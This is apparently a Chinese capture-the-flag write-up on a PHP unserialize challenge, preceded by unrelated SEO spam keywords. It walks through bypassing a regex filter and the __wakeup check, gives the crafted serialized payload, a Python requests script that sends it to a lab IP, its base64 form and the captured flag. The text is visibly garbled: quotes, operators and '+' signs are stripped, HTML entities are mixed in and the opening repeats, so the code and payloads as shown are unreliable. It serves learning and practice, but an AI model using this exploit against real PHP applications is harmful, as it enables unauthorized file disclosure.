商业网站建设的目的,东莞建设银行营业时间,产品推广计划怎么写,首页关键词排名优化天命#xff1a;这条反序列化题目也是比较特别#xff0c;里面的漏洞知识点#xff0c;在现在的php都被修复了 天命#xff1a;而且这次反序列化的字符串数量跟其他题目不一样 ?php
class Demo { // 初始化给变量内容#xff0c;也就是当前文件#xff0c;高亮显示… 天命这条反序列化题目也是比较特别里面的漏洞知识点在现在的php都被修复了 天命而且这次反序列化的字符串数量跟其他题目不一样 ?php
class Demo { // 初始化给变量内容也就是当前文件高亮显示出来private $file index.php;// 初始化触发函数把我们输入的东西放入属性变量里就是我们反序列化的时候输入的东西public function __construct($file) { $this-file $file; }// 销毁时候触发相当于是打印flag文件出来function __destruct() { echo highlight_file($this-file, true); }// 这个方法不会触发估计是旧版本的php满足某些情况所以没有触发// 纯碎用来吓人我还研究了一晚上如何让 fl4g.php index.php// fl4g.php index.php就算是弱比较也是不可能相等的function __wakeup() { if ($this-file ! index.php) { //the secret is in the fl4g.php // 直接访问是空气$this-file index.php; } }
}
if (isset($_GET[var])) { $var base64_decode($_GET[var]); // 即是重点也是难点更是无用的点// 现在版本的php都已经修复了if (preg_match(/[oc]:\d:/i, $var)) { die(stop hacking!); } else {unserialize($var); }
} else { highlight_file(index.php);
}
?坑点__wakeup函数可以忽略根本不会触发
麻痹研究了我一晚上如何才能让 fl4g.php index.php
最后结论就算是弱比较也不可能相等没有其他办法 所以只需要绕过正则表达式即可不会正则表达式自己去学习
既不简单也不难我也学了几天才算比较掌握 【绕过点一】绕过正则在O:4: 改成 O:4: 就可以了 多一个号具体原理也不清楚反正当是刷经验了上古版本的php才有的漏洞 【绕过点二】绕过 __wakeup函数把反序列化中的内容数量从1改成2即可 至少很大概率是这样绕过看别人wp讲的 大概意思应该是当反序列化的 属性变量数 大于 当前类的属性变量数 的时候就什么安全性因素就不触发 【绕过点三】加上\00 变量名Demofile 变成 \00Demo\00 字符个数2就行s:10:\00Demo\00file 这里可能是因为 private 的原因所以是2 其他题目是protected就是3 也不确定是不是肯定做的反序列化题目还不够多 【最终改变】 O:4:Demo:1:{s:10:Demofile;s:3:aaa;} O:4:Demo:2:{s:10:\00Demo\00file;s:8:fl4g.php;} 写上测试脚本
import requests,base64# 两个payload都可以
str O:4:Demo:2:{s:10:\x00Demo\x00file;s:8:fl4g.php;}
str O:4:Demo:2:{s:10:\00Demo\00file;s:8:fl4g.php;}# 编码
base64_str base64.b64encode(str.encode(utf-8)).decode(utf-8)# 发送请求
res requests.get(http://61.147.171.105:56675?varbase64_str)
if flag in res.text:print(成功了)
base64TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}